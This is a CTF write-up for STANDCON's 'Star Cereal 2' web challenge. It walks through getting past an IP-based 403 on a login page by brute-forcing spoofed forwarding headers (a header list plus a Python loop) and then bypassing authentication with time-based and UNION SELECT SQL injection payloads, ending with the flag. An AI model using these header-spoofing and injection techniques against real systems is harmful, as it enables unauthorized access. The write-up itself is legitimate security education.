Post

STANDCON CTF - Star Cereal 2

Description

Ha, that was sneaky! But I’ve patched the login so that people like you can’t gain access anymore. Stop hacking us!

http://20.198.209.142:55045

The flag is in the flag format: STC{…}

Author: zeyu2001

Solution

The page doesn’t much different from Star Cereal 1, but when we click on Login or browse to /login.php, we get a 403 Forbidden response.

Back on the home page, there were some comments from the developer:

1
2
3
4
5
6
7
<!--
Star Cereal page by zeyu2001

TODO:
	1) URGENT - fix login vulnerability by disallowing external logins (done)
	2) Integrate admin console currently hosted at http://172.16.2.155
-->

Based on this, we guessed that the login page can only be viewed when accessing from a specific private IP range (172.16.2.0/24), but when we are browsing this page, we are actually accessing from a public IP! In order to trick the web server, we could inject some HTTP headers into our requests. We managed to get a list from this repo and stripped some irrelevant headers and the hardcoded IP addresses:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Client-IP
Proxy-Host
Real-Ip
Referer
Referrer
Refferer
X-Client-IP
X-Custom-IP-Authorization
X-Forward-For
X-Forwarded-By
X-Forwarded-For-Original
X-Forwarded-For
X-Forwarded-Host
X-Forwarded-Server
X-Forwarded
X-Forwarder-For
X-Host
X-Http-Destinationurl
X-Http-Host-Override
X-Original-Remote-Addr
X-Original-Url
X-Originating-IP
X-Proxy-Url
X-Real-Ip
X-Remote-Addr
X-Remote-IP
X-Rewrite-Url
X-True-IP
X-Override-Url

We then used Python to brute force the HTTP headers while testing all the possible IP addresses in the 172.16.2.0/24 range.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
headers = """Client-IP
Proxy-Host
Real-Ip
Referer
Referrer
Refferer
X-Client-IP
X-Custom-IP-Authorization
X-Forward-For
X-Forwarded-By
X-Forwarded-For-Original
X-Forwarded-For
X-Forwarded-Host
X-Forwarded-Scheme
X-Forwarded-Scheme
X-Forwarded-Server
X-Forwarded
X-Forwarder-For
X-Host
X-Http-Destinationurl
X-Http-Host-Override
X-Original-Remote-Addr
X-Original-Url
X-Originating-IP
X-Proxy-Url
X-Real-Ip
X-Remote-Addr
X-Remote-IP
X-Rewrite-Url
X-True-IP
X-Override-Url""".split("\n")

import sys
import request

for header in headers:
    for a in range(256):
        ip = f"172.16.2.{a}"
        r = requests.get("http://20.198.209.142:55045/login.php", headers = {header: ip})
        if r.status_code != 403:
            print(f"{header}: {ip}")
            sys.exit(0)

After a while, we see that we were able to bypass the 403 Forbidden using the following HTTP header and value.

1
X-Forwarded-For: 172.16.2.24

To inject the HTTP header into our browser, we used this Firefox extension.

Browsing to /login.php, we see a familiar login page:

This time there was no MFA field, so we guessed that it no longer had the insecure deserialization vulnerability and we focused on testing for other classes of web vulnerabilities.

We were able to deduce it was vulnerable to SQL injection when we submitted ' union select sleep(5),null ;-- (Note there is a trailing space character) into the password field:

1
email=asd%40asd.com&pass='%20union%20select%20sleep(5)%2cnull%20%3b--%20

Which caused the page to hang for 5 seconds before sending a response!

We also noted that the basic ' or 1=1;-- did not work, possibly because the table we are querying from may have been empty. To overcome this, we could utilise the UNION SELECT to inject a row into query results by submitting ' union select "asd@asd.com", "password" ;-- . This would result in the following query to run:

1
SELECT email, password FROM admins UNION SELECT "asd@asd.com", "password" ;--

Which will definitely return at least one row and bypass the authentication to allow us to get the flag!

Flag

STC{w0w_you'r3_r3lly_a_l33t_h4x0r_bc1d4611be52117c9a8bb99bf572d6a7}

This post is licensed under CC BY 4.0 by the author.